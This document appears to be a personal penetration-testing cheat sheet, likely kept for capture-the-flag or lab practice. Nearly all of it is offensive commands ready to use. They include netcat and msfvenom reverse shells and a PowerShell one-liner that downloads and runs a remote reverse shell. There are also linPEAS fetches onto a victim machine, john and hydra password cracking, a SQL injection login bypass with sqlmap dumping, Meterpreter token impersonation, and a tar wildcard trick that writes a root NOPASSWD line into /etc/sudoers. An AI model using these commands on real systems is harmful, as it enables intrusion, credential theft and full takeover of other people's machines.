• hashdump — dump all user hashes (alternative to /etc/shadow)
• nc -lvp 4444 — netcat listening verbose port 4444
• nc 192.168.1.1 4444 -e bin/sh — netcat connect to 192.168.1.1 on port 4444, establish /bin/sh (cmd.exe)
• python3 -c ‘import pty;pty.spawn("/bin/bash")’ to stabilize pseudo-shell
  • first use “which python” to check if python 3 is installed
• /robots.txt for easy osint
• https://vk9-sec.com/ssh2john-how-to/ — tutorial for johntheripper ssh hash cracking:
  • /usr/share/john/ssh2john.py id_rsa > forjohn.txt
  • john --wordlist=/home/kali/rockyou.txt forjohn.txt
  • ssh -i id_rsa example@0.0.0.0 to log into user with id_rsa key
• john --format=‘dynamic=sha512($p.$s)’ --wordlist=/home/kali/rockyou.txt hash.txt
  • cracks sha512 formatting with hash.txt
  • hash.txt contains password$hash
• linPEAS & GTFObins — resources for privesc
  • wget http://[hostip]/linpeas.sh linpeas.sh on victim machine
  • python python3 -m http.server 80 on host machine
• msfvenom -p windows/x64/shell_reverse_tcp LHOST=[hostip] LPORT=9090 -f exe > example.exe
  • leverages directory without quotes for a reverse shell
• dnsrecon -r 127.0.0/24 -n [target ip] -d whatever
  • for usage when dns (port 53) is open
  • -d (domain) is needed, though the string after can be anything

• powershell iex (New-Object Net.WebClient).DownloadString(‘http://your-ip:80/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
  • use in nishang shells folder with nc -lvp 4444 and python -m http.server 80 for a reverse powershell shell
• msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
  • uses msfvenom to create a meterpreter shell
• MOST COMMONLY EXPLOITED TOKENS
  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege
    • use load incognito in  metasploit
    • then list_tokens -g to find tokens available for impersonation
    • use impersonate_token “BUILTIN\Administrators”  to impersonate another token (hopefully administrator)
    • use ps to list processes & migrate to take on the permissions of one (safest is services.exe)
  • Without Metasploit/Meterpreter
    • upload printspoofer with http.server or otherwise
• hydra -l <username> -P /usr/share/wordlists/<wordlist> <ip> http-post-form <modifiedcookie>
  • uses the http-post-form method to bruteforce a login with a modified cookie
• 
  • cheetsheet for hydra commands
• msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.41.195 LPORT=9999 -f exe > msfshell.exe
  • creates a windows meterpreter reverse shell & pipes it to an msfshell.exe binary (alternative to above)
• msfvenom -p cmd/unix/reverse_netcat lhost=[host ip] lport=9999 R
  • creates netcat listener for meterpreter (linux)
• powershell -c “Invoke-WebRequest -Uri ‘http://10.6.3.156:8000/msfshell.exe’ -Outfile ‘C:\Windows\Temp\msfshell.exe’”
  • downloads file from python http server and pipes to a shell.exe file on machine
• ’ or 1=1 -- -
  • sql injection — use this as username with no password on poorly secured sites
• intercept textbox request with burpsuite��
  • sqlmap -r burprequest.txt --dbms=mysql --dump
    • dumps all tables in database
• john hash.txt --wordlist=/home/kali/rockyou.txt --format=Raw-SHA256
  • cracks hash from tables
• ss -tulpn [argument]
  • shows socket connections
    • 
  • ssh -L 10000:localhost:10000 <username>@<ip>
    • reverse SSH port forwarding
• tar wildcard exploitation
  1. use “cat /etc/crontab” to evaluate crontab (already done by linpeas)
  2. copy commands below for sudo privileges on target machine

echo ’echo “www-data ALL=(root) NOPASSWD: ALL” >> /etc/sudoers’ > sudo.sh

touch “/var/www/html/--checkpoint-action=exec=sh sudo.sh”

touch “/var/www/html/--checkpoint=1”

• Wordpress MySql Table Dump
  • www-data@blog:/dev/shm$ mysql --host=<ip>--port 3306 -u wordpressuser -p